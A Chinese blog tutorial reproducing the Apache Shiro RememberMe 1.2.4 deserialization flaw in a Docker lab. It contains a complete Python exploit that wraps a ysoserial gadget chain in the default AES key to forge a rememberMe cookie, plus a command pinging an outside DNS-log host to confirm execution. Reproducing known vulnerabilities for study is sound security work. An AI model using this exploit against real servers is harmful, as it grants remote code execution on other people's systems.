Shiro RememberMe 1.2.4 反序列化漏洞详细复现

短命女 2024-04-17 19:20 36阅读 0赞

## ***0***|***1*****0x00 前言** ##

[![format_png][]][format_png 1]

## ***0***|***1*****0x01 环境搭建** ##

`漏洞版本<=1.2.4，使用docker搭建`

docker pull medicean/vulapps:s\_shiro\_1

docker run -d -p 80:8080 medicean/vulapps:s\_shiro\_1

访问80端口即可访问漏洞环境

## ***0***|***1*****0x02 工具准备** ##

1、生成payload的脚本

将下面的脚本保存至本地命名为shiro\_poc.py，然后进入linux系统/tmp目录下（如想使用其他KEY，替换脚本中的即可）

不要使用vi/vim命令创建文件再粘贴过去，粘贴会破坏代码的布局格式

命令行输入rz回车，就会跳出文件上传的页面（如果报错，pip安装一下），选择文件上传即可

# pip install pycrypto
    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        with open("/tmp/payload.cookie", "w") as fpw:
            print("rememberMe={}".format(payload.decode()), file=fpw)

2、安装模块

脚本使用的是python3，安装模块时要使用pip3 install 模块名

其中有一个模块需要强调，就是安装pycrypto，用来解决报错No module named Crypto.Cipher

pip3 install pycrypto

3、ysoserial的jar文件

依次执行以下命令（jar的文件名要和脚本中的一样，文件要和脚本在同一目录下）

git　clone https://github.com/frohoff/ysoserial.git 
    
    cd ysoserial 
    
    mvn package -DskipTests 
    
    cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

## ***0***|***1*****0x03 复现过程** ##

在脚本后面输入你想要执行的命令，例：

python3 shiro\_poc.py "ping fkl2af.ceye.io"

然后便会在脚本所在目录下生成文件payload.cookie

[![format_png 2][]][format_png 2 1]

浏览器打开漏洞环境并登陆进去，点击account page抓包

[![format_png 3][]][format_png 3 1]

用payload.cookie中内容替换Cookie中的全部内容，Go

[![format_png 4][]][format_png 4 1]

到ceye平台查看即可到流量记录

[![format_png 5][]][format_png 5 1]

最后感谢达哥和豪哥的帮助，让我顺利完成复测

如想学习更多漏洞复现，欢迎关注公众号Timeline Sec

参考链接：

https://paper.seebug.org/shiro-rememberme-1-2-4/

\_\_EOF\_\_

作　　者：**[PaperPen][]**  
出　　处：[https://www.cnblogs.com/paperpen/p/11312671.html][https_www.cnblogs.com_paperpen_p_11312671.html]

欢迎关注技术公众号：架构师成长营

![20190830150750719.jpeg][]

[format_png]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTU3OTMxNy8yMDE5MDgvMTU3OTMxNy0yMDE5MDgwNjIzMjcwMDIwMS0yMDAwMjc1OTg2LnBuZw?x-oss-process=image/format,png
[format_png 1]: https://img2018.cnblogs.com/blog/1579317/201908/1579317-20190806232700201-2000275986.png
[format_png 2]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTU3OTMxNy8yMDE5MDgvMTU3OTMxNy0yMDE5MDgwNjIzNDMyOTIzMS0xMTExMTk0MTczLnBuZw?x-oss-process=image/format,png
[format_png 2 1]: https://img2018.cnblogs.com/blog/1579317/201908/1579317-20190806234329231-1111194173.png
[format_png 3]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTU3OTMxNy8yMDE5MDgvMTU3OTMxNy0yMDE5MDgwNjIzNDUwODA2Ny0xNjU4OTMzNjY0LnBuZw?x-oss-process=image/format,png
[format_png 3 1]: https://img2018.cnblogs.com/blog/1579317/201908/1579317-20190806234508067-1658933664.png
[format_png 4]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTU3OTMxNy8yMDE5MDgvMTU3OTMxNy0yMDE5MDgwNjIzNDkxMDEyNS0yMDE1OTU1NzU1LnBuZw?x-oss-process=image/format,png
[format_png 4 1]: https://img2018.cnblogs.com/blog/1579317/201908/1579317-20190806234910125-2015955755.png
[format_png 5]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTU3OTMxNy8yMDE5MDgvMTU3OTMxNy0yMDE5MDgwNjIzNTAzMTUxOC0xMDA4ODQ3NTI4LnBuZw?x-oss-process=image/format,png
[format_png 5 1]: https://img2018.cnblogs.com/blog/1579317/201908/1579317-20190806235031518-1008847528.png
[PaperPen]: https://www.cnblogs.com/paperpen
[https_www.cnblogs.com_paperpen_p_11312671.html]: https://www.cnblogs.com/paperpen/p/11312671.html
[20190830150750719.jpeg]: https://img-blog.csdnimg.cn/20190830150750719.jpeg